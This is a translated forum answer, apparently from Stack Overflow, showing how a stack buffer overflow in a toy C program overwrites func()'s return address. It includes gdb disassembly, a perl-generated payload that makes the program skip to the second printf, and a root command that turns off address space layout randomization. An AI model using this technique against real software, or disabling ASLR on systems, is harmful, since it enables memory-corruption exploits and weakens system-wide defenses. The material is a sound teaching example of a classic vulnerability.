Насколько я понимаю, вы хотите, чтобы код выполнил инструкцию x=1;
, а затем перепрыгнул через следующий printf, чтобы он печатал только x is 0
. Это невозможно сделать.
Тем не менее, что можно сделать, так это заставить func() стереть свой собственный адрес возврата, чтобы код сразу переходил к printf("\nx is 0\n\n");
. Это также означает перепрыгнуть через x=1;
.
Это возможно только потому, что вы отправляете в func() все, что передается через строку cmd, и копируете непосредственно в буфер фиксированного размера. Если строка, которую вы пытаетесь скопировать, больше, чем выделенный буфер, вы, вероятно, в конечном итоге повредите стек и, возможно, перезапишите адрес возврата функции.
На эту тему есть отличные книги, такие как эта. и я рекомендую вам прочитать их.
Загрузив ваше приложение на gdb и разобрав основную функцию, вы увидите что-то похожее на это:
(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>: lea 0x4(%esp),%ecx
0x08048412 <main+4>: and $0xfffffff0,%esp
0x08048415 <main+7>: pushl -0x4(%ecx)
0x08048418 <main+10>: push %ebp
0x08048419 <main+11>: mov %esp,%ebp
0x0804841b <main+13>: push %ecx
0x0804841c <main+14>: sub $0x24,%esp
0x0804841f <main+17>: movl $0x0,-0x8(%ebp)
0x08048426 <main+24>: mov 0x4(%ecx),%eax
0x08048429 <main+27>: add $0x4,%eax
0x0804842c <main+30>: mov (%eax),%eax
0x0804842e <main+32>: mov %eax,(%esp)
0x08048431 <main+35>: call 0x80483f4 <func> // obvious call to func
0x08048436 <main+40>: movl $0x1,-0x8(%ebp) // x = 1;
0x0804843d <main+47>: movl $0x8048520,(%esp) // pushing "x is 1" to the stack
0x08048444 <main+54>: call 0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>: movl $0x8048528,(%esp) // pushing "x is 0" to the stack
0x08048450 <main+66>: call 0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>: add $0x24,%esp
0x08048458 <main+74>: pop %ecx
0x08048459 <main+75>: pop %ebp
0x0804845a <main+76>: lea -0x4(%ecx),%esp
0x0804845d <main+79>: ret
End of assembler dump.
Важно, чтобы вы заметили, что подготовка ко второму вызову printf начинается с адреса 0x08048449
. Чтобы переопределить исходный адрес возврата func()
и заставить его перейти к 0x08048449
, вам придется писать больше, чем char buffer[24];
. В этом тесте я использовал char buffer[6];
для простоты.
Находясь в gdb, если я выполню:
run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
это успешно переопределит буфер и заменит адрес возврата адресом, на который я хочу перейти:
Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
x is 0
Program exited with code 011.
(gdb)
Я не буду объяснять каждый шаг, потому что другие уже сделали это намного лучше, но если вы хотите воспроизвести это поведение непосредственно из командной строки, вы можете выполнить следующее:
./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
Имейте в виду, что адреса памяти, которые сообщает вам gdb, вероятно, будут отличаться от тех, которые я получил.
Примечание: чтобы этот метод работал, вам сначала нужно отключить защиту ядра. Но только если приведенная ниже команда сообщает что-либо отличное от 0:
cat /proc/sys/kernel/randomize_va_space
чтобы отключить его, вам понадобится доступ суперпользователя:
echo 0 > /proc/sys/kernel/randomize_va_space
person
karlphillip
schedule
04.04.2011
strcpy(buffer,str);
` - person karlphillip   schedule 04.04.2011if
в хорошей книге для начинающих, либо вы пытаетесь сделать что-то очень умное. К сожалению, чрезвычайно умные вещи никогда не бывают умными в долгосрочной перспективе. - person Lindydancer   schedule 04.04.2011